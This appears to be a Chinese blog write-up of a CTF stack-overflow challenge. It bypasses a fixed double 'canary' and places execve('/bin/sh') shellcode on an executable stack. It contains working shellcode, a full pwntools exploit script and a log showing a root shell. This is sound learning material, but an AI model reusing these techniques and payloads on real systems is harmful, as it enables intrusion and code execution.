文章目录
  1. 1. 0x00序
  2. 2. 0x01漏洞定位与分析
  3. 3. 0x02漏洞利用
  4. 4. 0x03总结
  5. 5. 0x04参考

一个非常简单的pwn栈溢出


0x00序

这是一个很简单的栈溢出,其中唯一的难题可能就是浮点数的存储的问题,这属于计算机组成原理的知识,整体来说还是很简单的。

题目相关文件:https://github.com/Reshahar/BlogFile/tree/master/2015-casw-precision-100

0x01漏洞定位与分析

使用IDA+F5大法,程序的整体流程就出来了,直接可以定位漏洞的位置,就是char buf[128]这个缓冲区(为了使代码更符合C语言的语法,我简单对变量的类型名称进行了修改),这会造成一个栈溢出。

int __cdecl main(int argc, const char **argv, const char **envp)
{
char buf[128]; // [sp+18h] [bp-88h]@1
double d; // [sp+98h] [bp-8h]@1

d = 64.33333;
setvbuf(stdout, 0, 2, 0);
printf("Buff: %p\n", buf);
__isoc99_scanf("%s", buf);
if ( 64.33333 != d )
{
    puts("Nope");
    exit(1);
}
return printf(str, buf);
}

在linux系统中使用gdb查看安全机制,除了最后一个(看到这个选项部分开启,我也查了很多资料,但是后来利用的时候才发现和它没啥关系…经验不足啊),而其他的NX,PIE都没有开启,可以说简单很多。

gdb-peda$ checksec
CANARY    : disabled
FORTIFY   : disabled
NX        : disabled
PIE       : disabled
RELRO     : Partial

使用gdb+peda中的pattern生成200个畸形字符串,然后运行程序,程序直接退出了

gdb-peda$ pattern create 200 1.txt
Writing pattern of 200 chars to filename "1.txt"
gdb-peda$ r <1.txt
Starting program: /root/D/stack overflow/2015-casw-precision-100/precision_a8f6f0590c177948fe06c76a1831e650 <1.txt
Buff: 0xffffd328
Nope
[Inferior 1 (process 9331) exited with code 01]
Warning: not running or target is remote

根据上面程序的输出,结合IDA结果,可以看到程序执行了另一条路,因为缓冲区溢出后会覆盖这个double类型的d变量,然后在覆盖到返回地址,而覆盖了d变量,程序就会直接退出,这和栈cookie(CANARY)差不多同一个原理,只不过cookie会变,它不会,我们直接从程序中获取到,或者自己编程获取都行

if ( 64.33333 != d )
{
    puts("Nope");
    exit(1);
}

这里我写了一个程序获取double或者float变量的在内存中的存储情况,这个浮点数的存储是采用IEEE 754标准存储在内存中的,想要了解的更详细,可以谷歌查询,我写的代码如下,大家可以参考

//filename: double_or_float_in_mem.c
//author:reshahar
#include<stdio.h>
void main()
{
    double dnum;
    float fnum;
    char *buf;
    int i;
    int chose;
    while(1)
    {
        printf("Input 1 or 2 or 3 chose float or double or exit:");
        scanf("%d",&chose);
        if(chose==1)
        {
            printf("Input a float:");
            scanf("%f",&fnum);
            buf = ((char*)&fnum);
            printf("%f in memory is 0x",fnum);    
            for(i=0;i<4;i++)
            {
                printf("%2x",(unsigned char)buf[i]);
            }
            printf("\n");
        }else if(chose==2)
        {
            printf("Input a double:");
            scanf("%lf",&dnum);
            buf = ((char*)&dnum);
            printf("%lf in memory is 0x",dnum);    
            for(i=0;i<8;i++)
            {
                printf("%2x",(unsigned char)buf[i]);
            }
            printf("\n");
        }else if(chose==3)
        {
            break;
        }
        else
        {
            printf("Input Error Chose!\n");
        }
    }       
}

编译运行如下

root@kali:~/D/stack overflow/2015-casw-precision-100# gcc double_or_float_in_mem.c -m32  -o double_or_float_in_mem
root@kali:~/D/stack overflow/2015-casw-precision-100# ./double_or_float_in_mem
Input 1 or 2 or 3 chose float or double or exit:2
Input a double:64.33333
64.333330 in memory is 0xa5315a4755155040
Input 1 or 2 or 3 chose float or double or exit:

这里直接就获取到64.33333内存中的存储情况,然后在次生成一个畸形字符串如下

#python
double = 'a5315a4755155040'
playload = 'A'*0x80+binascii.a2b_hex(double)+'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
f = open('1','wb')
f.write(playload)

其中0x80(128)是缓冲区的大小,紧接着就是double变量,后边的畸形字符串是为了确定返回地址的位置

使用gdb调试,运行并输入畸形字符文件1,可以看到程序断下来了,通过pattern获取到了偏移是12

0x6e414124 in ?? ()
gdb-peda$ pattern offset 0x6e414124
1849770276 found at offset: 12

调试的工作基本结束了

0x02漏洞利用

在没有开启NX的情况下,直接把shellcode放到栈上就行了,而要让shellcode正常运行,那么就首先要有个shellcode,这里大家可以自己去网上找一个或者使用kali 2.0的msfvenom或者kali 1.x 版本的msfpayload生成一个,当然为了锻炼自己的能力,那就是自己将下面的汇编转换成机器码,这里因为漏洞函数不能出现\x00\x0b等bad char,这里要注意一下

#execve('/bin/sh')

# xor ecx,ecx
# push ecx
# push 0x68732f2f ;; hs//
# push 0x6e69622f ;; nib/
# mov ebx,esp
# mov al,15
# sub eax,4     "\x0b" bad char
# int 0x80

#结果
shell="\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0f\x83\xe8\x04\xcd\x80" 

shellcode已经有了,然后既然要在栈上执行,要把程序程序劫持到我们的shellcode上来执行,那么就需要知道缓冲区的起始地址,这个程序也给出了,它会打印出缓冲区buf的起始位置,放置好shellcode,直接跳过去就行了

完整的exp如下

#filename:exp.py
#author:reshahar
from pwn import *
import binascii

p = process('./precision_a8f6f0590c177948fe06c76a1831e650')

#execve('/bin/sh')

# xor ecx,ecx
# push ecx
# push 0x68732f2f ;; hs//
# push 0x6e69622f ;; nib/
# mov ebx,esp
# mov al,15
# sub eax,4     "\x0b" bad char
# int 0x80

shell="\x31\xc9\x51\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0f\x83\xe8\x04\xcd\x80" 

p.recvuntil('Buff: ')
jmp = p.recv(10)
jmp = int(jmp,16)

print 'jmp addr'+p32(jmp)

double = 'a5315a4755155040'

#playload = 'A'*0x80+binascii.a2b_hex(double)+'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'

# f = open('1','wb')
# f.write(playload)

playload = shell+'A'*(0x80-len(shell))+binascii.a2b_hex(double)+'C'*12+p32(jmp)

p.sendline(playload)

p.interactive()

运行结果如下,getshell

root@kali:~/D/stack overflow/2015-casw-precision-100# python exp.py 
[+] Starting local process './precision_a8f6f0590c177948fe06c76a1831e650': pid 9568
jmp addrx��\xff
[*] Switching to interactive mode

Got 1�Qh//shh/bin\x89��\x83��\x80AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xa51ZGU\x15P@CCCCCCCCCCCCx��\xff
$ id
uid=0(root) gid=0(root) groups=0(root)
$ 

0x03总结

pwn这类的题经验还是很重要的,有的时候会事半功倍,而只有多做题才能增加自己的经验。

0x04参考

[1]:http://www.ruanyifeng.com/blog/2010/06/ieee_floating-point_representation.html 浮点数的二进制表示
[2]:http://blog.csdn.net/xiaominthere/article/details/17287965 Linux系统调用 int 80h int 0x80
[3]:http://www.evil0x.com/posts/9492.html kali2.0 : msfpayload和msfencode的集成版msfvenom 使用简介

文章目录
  1. 1. 0x00序
  2. 2. 0x01漏洞定位与分析
  3. 3. 0x02漏洞利用
  4. 4. 0x03总结
  5. 5. 0x04参考